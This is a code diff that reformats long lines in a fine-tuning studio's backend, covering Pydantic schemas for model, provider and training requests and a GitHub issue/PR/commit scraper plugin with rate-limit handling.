unsupported too, and a # membership test on an unhashable value would raise TypeError # (escaping as a 500 instead of a clean 400). - if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES: - raise ValueError(f"unsupported content block type {btype!r} in a user message") + if ( + not isinstance(btype, str) + or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES + ): + raise ValueError( + f"unsupported content block type {btype!r} in a user message" + ) return data @@ -2018,7 +2089,9 @@ class AnthropicMessagesRequest(BaseModel): normalized = dict(data) normalized["messages"] = normalized_messages - normalized["system"] = _merge_anthropic_system(normalized.get("system"), system_additions) + normalized["system"] = _merge_anthropic_system( + normalized.get("system"), system_additions + ) return normalized @field_validator("permission_mode", mode = "before") @@ -2065,7 +2138,9 @@ class AnthropicResponseToolUseBlock(BaseModel): input: dict -AnthropicResponseBlock = Union[AnthropicResponseTextBlock, AnthropicResponseToolUseBlock] +AnthropicResponseBlock = Union[ + AnthropicResponseTextBlock, AnthropicResponseToolUseBlock +] class AnthropicMessagesResponse(BaseModel): diff --git a/studio/backend/models/mcp_servers.py b/studio/backend/models/mcp_servers.py index 606c2423bf..cf062efda7 100644 --- a/studio/backend/models/mcp_servers.py +++ b/studio/backend/models/mcp_servers.py @@ -53,5 +53,7 @@ class McpServerImportRequest(BaseModel): class McpServerImportResult(BaseModel): created: list[McpServerResponse] = Field(default_factory = list) - skipped: list[str] = Field(default_factory = list) # display names skipped as duplicates + skipped: list[str] = Field( + default_factory = list + ) # display names skipped as duplicates errors: list[str] = Field(default_factory = list) diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py index 54e88fed58..ea04fb9dca 100644 --- a/studio/backend/models/models.py +++ b/studio/backend/models/models.py @@ -12,7 +12,9 @@ ModelType = Literal["text", "vision", "audio", "embeddings"] class CheckpointInfo(BaseModel): """Information about a discovered checkpoint directory.""" - display_name: str = Field(..., description = "User-friendly checkpoint name (folder name)") + display_name: str = Field( + ..., description = "User-friendly checkpoint name (folder name)" + ) path: str = Field(..., description = "Full path to the checkpoint directory") loss: Optional[float] = Field(None, description = "Training loss at this checkpoint") @@ -56,7 +58,9 @@ class CheckpointListResponse(BaseModel): class ExportSizeResponse(BaseModel): """Model fp16/bf16-equivalent size; size fields are null when unknown.""" - model: str = Field(..., description = "Model id or path the estimate was computed for") + model: str = Field( + ..., description = "Model id or path the estimate was computed for" + ) fp16_bytes: Optional[int] = Field( None, description = "Estimated FP16/BF16-equivalent on-disk size in bytes, or null if unknown", @@ -79,23 +83,33 @@ class ModelDetails(BaseModel): None, description = "Model identifier (alias for id, for backward compatibility)" ) name: Optional[str] = Field(None, description = "Display name for the model") - config: Optional[Dict[str, Any]] = Field(None, description = "Model configuration dictionary") + config: Optional[Dict[str, Any]] = Field( + None, description = "Model configuration dictionary" + ) is_vision: bool = Field(False, description = "Whether model is a vision model") is_embedding: bool = Field( False, description = "Whether model is an embedding/sentence-transformer model" ) is_lora: bool = Field(False, description = "Whether model is a LoRA adapter") - is_gguf: bool = Field(False, description = "Whether model is a GGUF model (llama.cpp format)") + is_gguf: bool = Field( + False, description = "Whether model is a GGUF model (llama.cpp format)" + ) is_mlx: bool = Field( False, description = "Whether model is served via the MLX backend (Apple Silicon)" ) is_audio: bool = Field(False, description = "Whether model is a TTS audio model") - audio_type: Optional[str] = Field(None, description = "Audio codec type: snac, csm, bicodec, dac") - has_audio_input: bool = Field(False, description = "Whether model accepts audio input (ASR)") + audio_type: Optional[str] = Field( + None, description = "Audio codec type: snac, csm, bicodec, dac" + ) + has_audio_input: bool = Field( + False, description = "Whether model accepts audio input (ASR)" + ) model_type: Optional[ModelType] = Field( None, description = "Collapsed model modality: text, vision, audio, or embeddings" ) - base_model: Optional[str] = Field(None, description = "Base model if this is a LoRA adapter") + base_model: Optional[str] = Field( + None, description = "Base model if this is a LoRA adapter" + ) max_position_embeddings: Optional[int] = Field( None, description = "Maximum context length supported by the model" ) @@ -108,7 +122,9 @@ class LoRAInfo(BaseModel): """LoRA adapter or exported model information""" display_name: str = Field(..., description = "Display name for the LoRA") - adapter_path: str = Field(..., description = "Path to the LoRA adapter or exported model") + adapter_path: str = Field( + ..., description = "Path to the LoRA adapter or exported model" + ) base_model: Optional[str] = Field(None, description = "Base model identifier") source: Optional[str] = Field(None, description = "'training' or 'exported'") export_type: Optional[str] = Field( @@ -119,24 +135,34 @@ class LoRAInfo(BaseModel): class LoRAScanResponse(BaseModel): """Response schema for scanning trained LoRA adapters""" - loras: List[LoRAInfo] = Field(default_factory = list, description = "List of found LoRA adapters") + loras: List[LoRAInfo] = Field( + default_factory = list, description = "List of found LoRA adapters" + ) outputs_dir: str = Field(..., description = "Directory that was scanned") class ModelListResponse(BaseModel): """Response schema for listing models""" - models: List[ModelDetails] = Field(default_factory = list, description = "List of models") - default_models: List[str] = Field(default_factory = list, description = "List of default model IDs") + models: List[ModelDetails] = Field( + default_factory = list, description = "List of models" + ) + default_models: List[str] = Field( + default_factory = list, description = "List of default model IDs" + ) class GgufVariantDetail(BaseModel): """A single GGUF quantization variant in a HuggingFace repo.""" - filename: str = Field(..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')") + filename: str = Field( + ..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')" + ) quant: str = Field(..., description = "Quantization label (e.g., 'Q4_K_M')") size_bytes: int = Field(0, description = "File size in bytes") - download_size_bytes: int = Field(0, description = "Total bytes needed to download this variant") + download_size_bytes: int = Field( + 0, description = "Total bytes needed to download this variant" + ) downloaded: bool = Field( False, description = "Whether this variant is already in the local HF cache" ) @@ -192,7 +218,9 @@ class LocalModelInfo(BaseModel): class LocalModelListResponse(BaseModel): """Response schema for listing local/cached models.""" - models_dir: str = Field(..., description = "Directory scanned for custom local models") + models_dir: str = Field( + ..., description = "Directory scanned for custom local models" + ) hf_cache_dir: Optional[str] = Field( None, description = "HF cache root that was scanned", @@ -210,7 +238,9 @@ class LocalModelListResponse(BaseModel): class AddScanFolderRequest(BaseModel): """Request body for adding a custom scan folder.""" - path: str = Field(..., description = "Absolute or relative directory path to scan for models") + path: str = Field( + ..., description = "Absolute or relative directory path to scan for models" + ) class ScanFolderInfo(BaseModel): diff --git a/studio/backend/models/providers.py b/studio/backend/models/providers.py index 5a75246c07..7823d4f22c 100644 --- a/studio/backend/models/providers.py +++ b/studio/backend/models/providers.py @@ -14,7 +14,9 @@ from pydantic import BaseModel, Field class ProviderRegistryEntry(BaseModel): """A supported provider type with its default configuration.""" - provider_type: str = Field(..., description = "Provider identifier (e.g. 'openai', 'mistral')") + provider_type: str = Field( + ..., description = "Provider identifier (e.g. 'openai', 'mistral')" + ) display_name: str = Field(..., description = "Human-readable provider name") base_url: str = Field(..., description = "Default API base URL") default_models: list[str] = Field( @@ -42,7 +44,9 @@ class ProviderCreate(BaseModel): """Request to create a saved provider configuration.""" provider_type: str = Field(..., description = "Provider type from the registry") - display_name: str = Field(..., description = "User-chosen label (e.g. 'My OpenAI Key')") + display_name: str = Field( + ..., description = "User-chosen label (e.g. 'My OpenAI Key')" + ) base_url: Optional[str] = Field( None, description = "Custom base URL (overrides registry default). Omit to use the default.", @@ -54,7 +58,9 @@ class ProviderUpdate(BaseModel): display_name: Optional[str] = Field(None, description = "New display name") base_url: Optional[str] = Field(None, description = "New base URL") - is_enabled: Optional[bool] = Field(None, description = "Enable or disable this provider") + is_enabled: Optional[bool] = Field( + None, description = "Enable or disable this provider" + ) class ProviderResponse(BaseModel): @@ -77,7 +83,9 @@ class ProviderModelInfo(BaseModel): id: str = Field(..., description = "Model ID as expected by the provider API") display_name: str = Field("", description = "Human-readable model name") - context_length: Optional[int] = Field(None, description = "Maximum context length in tokens") + context_length: Optional[int] = Field( + None, description = "Maximum context length in tokens" + ) owned_by: Optional[str] = Field(None, description = "Model owner/organization") diff --git a/studio/backend/models/responses.py b/studio/backend/models/responses.py index cc420c0f69..f8fc586a86 100644 --- a/studio/backend/models/responses.py +++ b/studio/backend/models/responses.py @@ -21,10 +21,16 @@ class TrainingStopResponse(BaseModel): class TrainingMetricsResponse(BaseModel): """Response for training metrics history""" - loss_history: List[float] = Field(default_factory = list, description = "Loss values per step") - lr_history: List[float] = Field(default_factory = list, description = "Learning rate per step") + loss_history: List[float] = Field( + default_factory = list, description = "Loss values per step" + ) + lr_history: List[float] = Field( + default_factory = list, description = "Learning rate per step" + ) step_history: List[int] = Field(default_factory = list, description = "Step numbers") - grad_norm_history: List[float] = Field(default_factory = list, description = "Gradient norm values") + grad_norm_history: List[float] = Field( + default_factory = list, description = "Gradient norm values" + ) grad_norm_step_history: List[int] = Field( default_factory = list, description = "Step numbers for gradient norm values" ) diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py index 0b50f63b95..a0bc95430f 100644 --- a/studio/backend/models/training.py +++ b/studio/backend/models/training.py @@ -43,7 +43,9 @@ class S3Config(BaseModel): bucket: str = Field(..., description = "S3 bucket name") region: str = Field("us-east-1", description = "AWS region") - prefix: Optional[str] = Field(None, description = "Optional path prefix within bucket") + prefix: Optional[str] = Field( + None, description = "Optional path prefix within bucket" + ) access_key_id: Optional[str] = Field( None, alias = "accessKeyId", @@ -64,7 +66,9 @@ class S3Config(BaseModel): def _check_credentials(self) -> "S3Config": # Require either IAM role auth or a full key pair so credentials are # never half-configured. - if not self.use_iam_role and not (self.access_key_id and self.secret_access_key): + if not self.use_iam_role and not ( + self.access_key_id and self.secret_access_key + ): raise ValueError( "s3_config requires either use_iam_role=True or both " "access_key_id and secret_access_key" @@ -83,7 +87,9 @@ def _parse_lr(v: Any) -> float: except (TypeError, ValueError): raise ValueError(f"learning_rate must be parseable as float (got {v!r})") if not (lr > 0.0): - raise ValueError(f"learning_rate must be > 0 (got {lr!r}); typical range is 1e-6 .. 1e-3") + raise ValueError( + f"learning_rate must be > 0 (got {lr!r}); typical range is 1e-6 .. 1e-3" + ) if lr >= _MAX_LR_VALUE: raise ValueError( f"learning_rate must be < 1.0 (got {lr!r}); " @@ -104,9 +110,11 @@ class TrainingStartRequest(BaseModel): max_length = 80, description = "Optional user-defined project name appended to run folders and shown in history", ) - training_type: Literal["LoRA/QLoRA", "Full Finetuning", "Continued Pretraining"] = Field( - ..., - description = "Training type: 'LoRA/QLoRA', 'Full Finetuning', or 'Continued Pretraining'", + training_type: Literal["LoRA/QLoRA", "Full Finetuning", "Continued Pretraining"] = ( + Field( + ..., + description = "Training type: 'LoRA/QLoRA', 'Full Finetuning', or 'Continued Pretraining'", + ) ) hf_token: Optional[str] = Field(None, description = "HuggingFace token") load_in_4bit: bool = Field(True, description = "Load model in 4-bit quantization") @@ -125,7 +133,9 @@ class TrainingStartRequest(BaseModel): ) # Dataset parameters - hf_dataset: Optional[str] = Field(None, description = "HuggingFace dataset identifier") + hf_dataset: Optional[str] = Field( + None, description = "HuggingFace dataset identifier" + ) local_datasets: List[str] = Field( default_factory = list, description = "List of local dataset paths" ) @@ -135,12 +145,16 @@ class TrainingStartRequest(BaseModel): format_type: str = Field(..., description = "Dataset format type") subset: Optional[str] = None train_split: Optional[str] = Field("train", description = "Training split name") - eval_split: Optional[str] = Field(None, description = "Eval split name. None = auto-detect") + eval_split: Optional[str] = Field( + None, description = "Eval split name. None = auto-detect" + ) dataset_streaming: bool = Field( False, description = "Whether to load the Hugging Face dataset in streaming mode", ) - eval_steps: float = Field(0.00, description = "Fraction of total steps between evals (0-1)") + eval_steps: float = Field( + 0.00, description = "Fraction of total steps between evals (0-1)" + ) dataset_slice_start: Optional[int] = Field( None, ge = 0, @@ -202,7 +216,9 @@ class TrainingStartRequest(BaseModel): if ".." in v: raise ValueError("hf_dataset must not contain '..'") if not re.fullmatch(r"[A-Za-z0-9._\-/]+", v): - raise ValueError("hf_dataset may only contain letters, digits, '_', '-', '.', '/'") + raise ValueError( + "hf_dataset may only contain letters, digits, '_', '-', '.', '/'" + ) return v @field_validator("subset") @@ -244,7 +260,9 @@ class TrainingStartRequest(BaseModel): if v is None: raise ValueError("batch_size is required") if v < 1 or v > _MAX_BATCH_SIZE: - raise ValueError(f"batch_size must be in [1, {_MAX_BATCH_SIZE}] (got {v!r})") + raise ValueError( + f"batch_size must be in [1, {_MAX_BATCH_SIZE}] (got {v!r})" + ) return v @field_validator("gradient_accumulation_steps") @@ -254,7 +272,8 @@ class TrainingStartRequest(BaseModel): return 1 if v < 1 or v > _MAX_GRAD_ACCUM: raise ValueError( - f"gradient_accumulation_steps must be in [1, {_MAX_GRAD_ACCUM}] " f"(got {v!r})" + f"gradient_accumulation_steps must be in [1, {_MAX_GRAD_ACCUM}] " + f"(got {v!r})" ) return v @@ -275,14 +294,18 @@ class TrainingStartRequest(BaseModel): if v is None: return v if not isinstance(v, int) or v < 0 or v > _MAX_STEPS: - raise ValueError(f"max_steps must be a non-negative int <= {_MAX_STEPS} (got {v!r})") + raise ValueError( + f"max_steps must be a non-negative int <= {_MAX_STEPS} (got {v!r})" + ) return v @field_validator("max_seq_length") @classmethod def _check_max_seq_length(cls, v: int) -> int: if v is None or v < 1 or v > _MAX_SEQ_LENGTH: - raise ValueError(f"max_seq_length must be in [1, {_MAX_SEQ_LENGTH}] (got {v!r})") + raise ValueError( + f"max_seq_length must be in [1, {_MAX_SEQ_LENGTH}] (got {v!r})" + ) return v @field_validator("vision_image_size", mode = "before") @@ -325,7 +348,8 @@ class TrainingStartRequest(BaseModel): return v if not isinstance(v, int) or v < 0 or v > _MAX_STEPS: raise ValueError( - f"warmup_steps must be a non-negative int <= {_MAX_STEPS} " f"(got {v!r})" + f"warmup_steps must be a non-negative int <= {_MAX_STEPS} " + f"(got {v!r})" ) return v @@ -361,7 +385,9 @@ class TrainingStartRequest(BaseModel): except (TypeError, ValueError): raise ValueError(f"weight_decay must be a number (got {v!r})") if wd < 0 or wd > 10.0: - raise ValueError(f"weight_decay must be in [0, 10] (got {wd!r}); typical 0..0.1") + raise ValueError( + f"weight_decay must be in [0, 10] (got {wd!r}); typical 0..0.1" + ) return wd @field_validator("lora_r") @@ -379,7 +405,9 @@ class TrainingStartRequest(BaseModel): if v is None: return 16 if v < 1 or v > _MAX_LORA_ALPHA: - raise ValueError(f"lora_alpha must be in [1, {_MAX_LORA_ALPHA}] (got {v!r})") + raise ValueError( + f"lora_alpha must be in [1, {_MAX_LORA_ALPHA}] (got {v!r})" + ) return v @field_validator("lora_dropout") @@ -408,7 +436,9 @@ class TrainingStartRequest(BaseModel): num_epochs: int = Field(1, description = "Number of training epochs") learning_rate: str = Field("2e-4", description = "Learning rate") batch_size: int = Field(1, description = "Batch size") - gradient_accumulation_steps: int = Field(1, description = "Gradient accumulation steps") + gradient_accumulation_steps: int = Field( + 1, description = "Gradient accumulation steps" + ) warmup_steps: Optional[int] = Field(None, description = "Warmup steps") warmup_ratio: Optional[float] = Field(None, description = "Warmup ratio") max_steps: Optional[int] = Field(None, description = "Maximum training steps") @@ -466,19 +496,31 @@ class TrainingStartRequest(BaseModel): lora_r: int = Field(16, description = "LoRA rank") lora_alpha: int = Field(16, description = "LoRA alpha") lora_dropout: float = Field(0.0, description = "LoRA dropout") - target_modules: List[str] = Field(default_factory = list, description = "Target modules for LoRA") - gradient_checkpointing: str = Field("", description = "Gradient checkpointing setting") + target_modules: List[str] = Field( + default_factory = list, description = "Target modules for LoRA" + ) + gradient_checkpointing: str = Field( + "", description = "Gradient checkpointing setting" + ) use_rslora: bool = Field(False, description = "Use RSLoRA") use_loftq: bool = Field(False, description = "Use LoftQ") train_on_completions: bool = Field(False, description = "Train on completions only") # Vision-specific LoRA parameters finetune_vision_layers: bool = Field(False, description = "Finetune vision layers") - finetune_language_layers: bool = Field(False, description = "Finetune language layers") - finetune_attention_modules: bool = Field(False, description = "Finetune attention modules") + finetune_language_layers: bool = Field( + False, description = "Finetune language layers" + ) + finetune_attention_modules: bool = Field( + False, description = "Finetune attention modules" + ) finetune_mlp_modules: bool = Field(False, description = "Finetune MLP modules") - is_dataset_image: bool = Field(False, description = "Whether the dataset contains image data") - is_dataset_audio: bool = Field(False, description = "Whether the dataset contains audio data") + is_dataset_image: bool = Field( + False, description = "Whether the dataset contains image data" + ) + is_dataset_audio: bool = Field( + False, description = "Whether the dataset contains audio data" + ) is_embedding: bool = Field( False, description = "Whether model is an embedding/sentence-transformer model" ) @@ -527,7 +569,9 @@ class TrainingStartRequest(BaseModel): def _check_steps_or_epochs(self) -> "TrainingStartRequest": # Each accepts 0 as "use the other"; both 0 means nothing to train. if (self.max_steps is None or self.max_steps == 0) and self.num_epochs == 0: - raise ValueError("Either num_epochs or max_steps must be > 0; both cannot be 0.") + raise ValueError( + "Either num_epochs or max_steps must be > 0; both cannot be 0." + ) return self @@ -554,7 +598,9 @@ class TrainingStatus(BaseModel): "error", "stopped", ] = Field(..., description = "Current phase of training pipeline") - is_training_running: bool = Field(..., description = "True if training loop is actively running") + is_training_running: bool = Field( + ..., description = "True if training loop is actively running" + ) eval_enabled: bool = Field( False, description = "True if evaluation dataset is configured for this training run", @@ -579,7 +625,9 @@ class TrainingProgress(BaseModel): total_steps: int = Field(..., description = "Total training steps") loss: Optional[float] = Field(None, description = "Current loss value") learning_rate: Optional[float] = Field(None, description = "Current learning rate") - progress_percent: float = Field(..., description = "Progress percentage (0.0 to 100.0)") + progress_percent: float = Field( + ..., description = "Progress percentage (0.0 to 100.0)" + ) epoch: Optional[float] = Field(None, description = "Current epoch") elapsed_seconds: Optional[float] = Field( None, description = "Time elapsed since training started" @@ -588,7 +636,9 @@ class TrainingProgress(BaseModel): grad_norm: Optional[float] = Field( None, description = "L2 norm of gradients, computed before gradient clipping" ) - num_tokens: Optional[int] = Field(None, description = "Total number of tokens processed so far") + num_tokens: Optional[int] = Field( + None, description = "Total number of tokens processed so far" + ) eval_loss: Optional[float] = Field( None, description = "Eval loss from the most recent evaluation step" ) diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py index 1af8133cc5..abe531e57f 100644 --- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py +++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py @@ -90,13 +90,18 @@ def _read_jsonl(path: Path, max_rows: int | None = None): def _flatten_issue_row(r: dict, repo: str, include_comments: bool, max_c: int) -> dict: - labels = [l.get("name") for l in (r.get("labels", {}) or {}).get("nodes", []) if l.get("name")] + labels = [ + l.get("name") + for l in (r.get("labels", {}) or {}).get("nodes", []) + if l.get("name") + ] comments_nodes = (r.get("comments") or {}).get("nodes") or [] comments_text = "" if include_comments and comments_nodes: kept = comments_nodes[:max_c] comments_text = "\n\n".join( - f"[{(c.get('author') or {}).get('login', '?')}]: {c.get('body') or ''}" for c in kept + f"[{(c.get('author') or {}).get('login', '?')}]: {c.get('body') or ''}" + for c in kept ) return { "item_type": "issue", @@ -115,13 +120,18 @@ def _flatten_issue_row(r: dict, repo: str, include_comments: bool, max_c: int) - def _flatten_pr_row(r: dict, repo: str, include_comments: bool, max_c: int) -> dict: - labels = [l.get("name") for l in (r.get("labels", {}) or {}).get("nodes", []) if l.get("name")] + labels = [ + l.get("name") + for l in (r.get("labels", {}) or {}).get("nodes", []) + if l.get("name") + ] comments_nodes = (r.get("comments") or {}).get("nodes") or [] comments_text = "" if include_comments and comments_nodes: kept = comments_nodes[:max_c] comments_text = "\n\n".join( - f"[{(c.get('author') or {}).get('login', '?')}]: {c.get('body') or ''}" for c in kept + f"[{(c.get('author') or {}).get('login', '?')}]: {c.get('body') or ''}" + for c in kept ) return { "item_type": "pull", @@ -194,8 +204,14 @@ def scrape(cfg: ScrapeConfig, base_dir: Path): scraper.scrape_prs() if "commits" in cfg.item_types: default_ref = repo_meta.get("defaultBranchRef") or {} - default_branch = default_ref.get("name") if isinstance(default_ref, dict) else None - branch = f"refs/heads/{default_branch}" if default_branch else "refs/heads/main" + default_branch = ( + default_ref.get("name") if isinstance(default_ref, dict) else None + ) + branch = ( + f"refs/heads/{default_branch}" + if default_branch + else "refs/heads/main" + ) scraper.scrape_commits(branch = branch) finally: scraper.close() @@ -205,12 +221,16 @@ def scrape(cfg: ScrapeConfig, base_dir: Path): if "issues" in cfg.item_types: for row in _read_jsonl(repo_dir / "issues.jsonl", read_cap): all_rows.append( - _flatten_issue_row(row, repo, cfg.include_comments, cfg.max_comments_per_item) + _flatten_issue_row( + row, repo, cfg.include_comments, cfg.max_comments_per_item + ) ) if "pulls" in cfg.item_types: for row in _read_jsonl(repo_dir / "pull_requests.jsonl", read_cap): all_rows.append( - _flatten_pr_row(row, repo, cfg.include_comments, cfg.max_comments_per_item) + _flatten_pr_row( + row, repo, cfg.include_comments, cfg.max_comments_per_item + ) ) if "commits" in cfg.item_types: for row in _read_jsonl(repo_dir / "commits.jsonl", read_cap): diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/gh_client.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/gh_client.py index 0ba3394ca3..8b65483375 100644 --- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/gh_client.py +++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/gh_client.py @@ -60,7 +60,9 @@ class GitHubClient: token_source: str | None = None, ): if token: - self._token_source = token_source or "explicit token argument (recipe-level field)" + self._token_source = ( + token_source or "explicit token argument (recipe-level field)" + ) elif os.environ.get("GH_TOKEN"): self._token_source = "GH_TOKEN environment variable" token = os.environ["GH_TOKEN"] @@ -70,7 +72,9 @@ class GitHubClient: else: raise RuntimeError("GH_TOKEN or GITHUB_TOKEN not set in environment") self.session = requests.Session() - self.session.headers.update({**BASE_HEADERS, "Authorization": f"Bearer {token}"}) + self.session.headers.update( + {**BASE_HEADERS, "Authorization": f"Bearer {token}"} + ) self.min_remaining_graphql = min_remaining_graphql self.min_remaining_rest = min_remaining_rest self.graphql_remaining: Optional[int] = None @@ -205,7 +209,9 @@ class GitHubClient: errs = data["errors"] for e in errs: if e.get("type") == "RATE_LIMITED": - self._sleep_until((self.graphql_reset or int(time.time()) + 60)) + self._sleep_until( + (self.graphql_reset or int(time.time()) + 60) + ) break else: # No rate-limit error: log and return partial @@ -237,7 +243,9 @@ class GitHubClient: last_err = None for attempt in range(max_retries): try: - r = self.session.request(method, url, params = params, json = json_body, timeout = 120) + r = self.session.request( + method, url, params = params, json = json_body, timeout = 120 + ) self.calls_rest += 1 rem = r.headers.get("X-RateLimit-Remaining") rst = r.headers.get("X-RateLimit-Reset") @@ -261,7 +269,9 @@ class GitHubClient: if r.status_code in (403, 429): retry_after = _retry_after_seconds(r.headers.get("Retry-After")) if retry_after is not None: - log.warning("Secondary rate limit on REST. Sleep %ds.", retry_after) + log.warning( + "Secondary rate limit on REST. Sleep %ds.", retry_after + ) time.sleep(retry_after + 2) continue # Primary rate limit @@ -291,7 +301,9 @@ class GitHubClient: while True: r = self.rest("GET", url, params = params if url == path else None) if r.status_code != 200: - log.error("REST paginate got %s at %s: %s", r.status_code, url, r.text[:200]) + log.error( + "REST paginate got %s at %s: %s", r.status_code, url, r.text[:200] + ) return items = r.json() if isinstance(items, dict): diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py index a7ddaef5fe..4fe399847f 100644 --- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py +++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py @@ -86,7 +86,11 @@ class RepoScraper: return counter >= lim def _log_rate(self, where: str, data: Dict[str, Any]) -> None: - rl = data.get("data", {}).get("rateLimit") if isinstance(data.get("data"), dict) else None + rl = ( + data.get("data", {}).get("rateLimit") + if isinstance(data.get("data"), dict) + else None + ) if rl: log.debug( "[%s] rate cost=%s remaining=%s resetAt=%s", @@ -98,7 +102,9 @@ class RepoScraper: # ----- repo meta ----- def scrape_repo_meta(self) -> Dict[str, Any]: - data = self.client.graphql(Q.REPO_META_QUERY, {"owner": self.owner, "name": self.name}) + data = self.client.graphql( + Q.REPO_META_QUERY, {"owner": self.owner, "name": self.name} + ) self._log_rate("repo_meta", data) repo = data.get("data", {}).get("repository") or {} repo["_fetchedAt"] = ts() @@ -143,7 +149,11 @@ class RepoScraper: self._paginate_issue_comments( it["number"], it["comments"]["pageInfo"]["endCursor"] ) - if it.get("timelineItems", {}).get("pageInfo", {}).get("hasNextPage"): + if ( + it.get("timelineItems", {}) + .get("pageInfo", {}) + .get("hasNextPage") + ): self._paginate_issue_timeline( it["number"], it["timelineItems"]["pageInfo"]["endCursor"], @@ -249,16 +259,30 @@ class RepoScraper: num = pr["number"] if not self.light: if pr.get("comments", {}).get("pageInfo", {}).get("hasNextPage"): - self._paginate_pr_comments(num, pr["comments"]["pageInfo"]["endCursor"]) - if pr.get("timelineItems", {}).get("pageInfo", {}).get("hasNextPage"): + self._paginate_pr_comments( + num, pr["comments"]["pageInfo"]["endCursor"] + ) + if ( + pr.get("timelineItems", {}) + .get("pageInfo", {}) + .get("hasNextPage") + ): self._paginate_pr_timeline( num, pr["timelineItems"]["pageInfo"]["endCursor"] ) if pr.get("commits", {}).get("pageInfo", {}).get("hasNextPage"): - self._paginate_pr_commits(num, pr["commits"]["pageInfo"]["endCursor"]) + self._paginate_pr_commits( + num, pr["commits"]["pageInfo"]["endCursor"] + ) if pr.get("files", {}).get("pageInfo", {}).get("hasNextPage"): - self._paginate_pr_files(num, pr["files"]["pageInfo"]["endCursor"]) - if pr.get("reviewThreads", {}).get("pageInfo", {}).get("hasNextPage"): + self._paginate_pr_files( + num, pr["files"]["pageInfo"]["endCursor"] + ) + if ( + pr.get("reviewThreads", {}) + .get("pageInfo", {}) + .get("hasNextPage") + ): self._paginate_pr_review_threads( num, pr["reviewThreads"]["pageInfo"]["endCursor"] ) @@ -316,7 +340,9 @@ class RepoScraper: "after": cur, } data = self.client.graphql(Q.PR_TIMELINE_QUERY, vars_) - item = ((data.get("data") or {}).get("repository") or {}).get("pullRequest") or {} + item = ((data.get("data") or {}).get("repository") or {}).get( + "pullRequest" + ) or {} tl = item.get("timelineItems") or {} for ev in tl.get("nodes") or []: ev["_owner"] = self.owner @@ -339,7 +365,9 @@ class RepoScraper: "after": cur, } data = self.client.graphql(Q.PR_COMMITS_QUERY, vars_) - item = ((data.get("data") or {}).get("repository") or {}).get("pullRequest") or {} + item = ((data.get("data") or {}).get("repository") or {}).get( + "pullRequest" + ) or {} cc = item.get("commits") or {} for c in cc.get("nodes") or []: c["_owner"] = self.owner @@ -362,7 +390,9 @@ class RepoScraper: "after": cur, } data = self.client.graphql(Q.PR_FILES_QUERY, vars_) - item = ((data.get("data") or {}).get("repository") or {}).get("pullRequest") or {} + item = ((data.get("data") or {}).get("repository") or {}).get( + "pullRequest" + ) or {} ff = item.get("files") or {} for f in ff.get("nodes") or []: f["_owner"] = self.owner @@ -387,7 +417,9 @@ class RepoScraper: "after": cur, } data = self.client.graphql(Q.PR_REVIEW_THREADS_QUERY, vars_) - item = ((data.get("data") or {}).get("repository") or {}).get("pullRequest") or {} + item = ((data.get("data") or {}).get("repository") or {}).get( + "pullRequest" + ) or {} rt = item.get("reviewThreads") or {} for th in rt.get("nodes") or []: th["_owner"] = self.owner @@ -427,7 +459,9 @@ class RepoScraper: d["_fetchedAt"] = ts() num = d["number"] if d.get("comments", {}).get("pageInfo", {}).get("hasNextPage"): - self._paginate_discussion_comments(num, d["comments"]["pageInfo"]["endCursor"]) + self._paginate_discussion_comments( + num, d["comments"]["pageInfo"]["endCursor"] + ) # paginate replies per comment if needed for c in d.get("comments", {}).get("nodes", []) or []: if c.get("replies", {}).get("pageInfo", {}).get("hasNextPage"): @@ -465,7 +499,9 @@ class RepoScraper: "after": cur, } data = self.client.graphql(Q.DISCUSSION_COMMENTS_QUERY, vars_) - disc = ((data.get("data") or {}).get("repository") or {}).get("discussion") or {} + disc = ((data.get("data") or {}).get("repository") or {}).get( + "discussion" + ) or {} cc = disc.get("comments") or {} for c in cc.get("nodes") or []: c["_owner"] = self.owner @@ -475,7 +511,9 @@ class RepoScraper: info = cc.get("pageInfo") or {} cur = info.get("endCursor") if info.get("hasNextPage") else None - def _paginate_discussion_replies(self, comment_id: str, after: str, disc_number: int) -> None: + def _paginate_discussion_replies( + self, comment_id: str, after: str, disc_number: int + ) -> None: cur = after while cur: vars_ = { @@ -610,8 +648,12 @@ def setup_logging(log_file: Path) -> None: def main(): ap = argparse.ArgumentParser() - ap.add_argument("--base-dir", default = "/mnt/disks/unslothai/ubuntu/workspace_34/github_scraper") - ap.add_argument("--repos", nargs = "+", default = ["unslothai/unsloth", "unslothai/unsloth-zoo"]) + ap.add_argument( + "--base-dir", default = "/mnt/disks/unslothai/ubuntu/workspace_34/github_scraper" + ) + ap.add_argument( + "--repos", nargs = "+", default = ["unslothai/unsloth", "unslothai/unsloth-zoo"] + ) ap.add_argument("--trial", action = "store_true", help = "Small trial run") ap.add_argument( "--only", @@ -684,9 +726,15 @@ def main(): if not only or "commits" in only: default_ref = repo_meta.get("defaultBranchRef") or {} default_branch = ( - default_ref.get("name") if isinstance(default_ref, dict) else None + default_ref.get("name") + if isinstance(default_ref, dict) + else None + ) + branch = ( + f"refs/heads/{default_branch}" + if default_branch + else "refs/heads/main" ) - branch = f"refs/heads/{default_branch}" if default_branch else "refs/heads/main" scraper.scrape_commits(branch = branch) 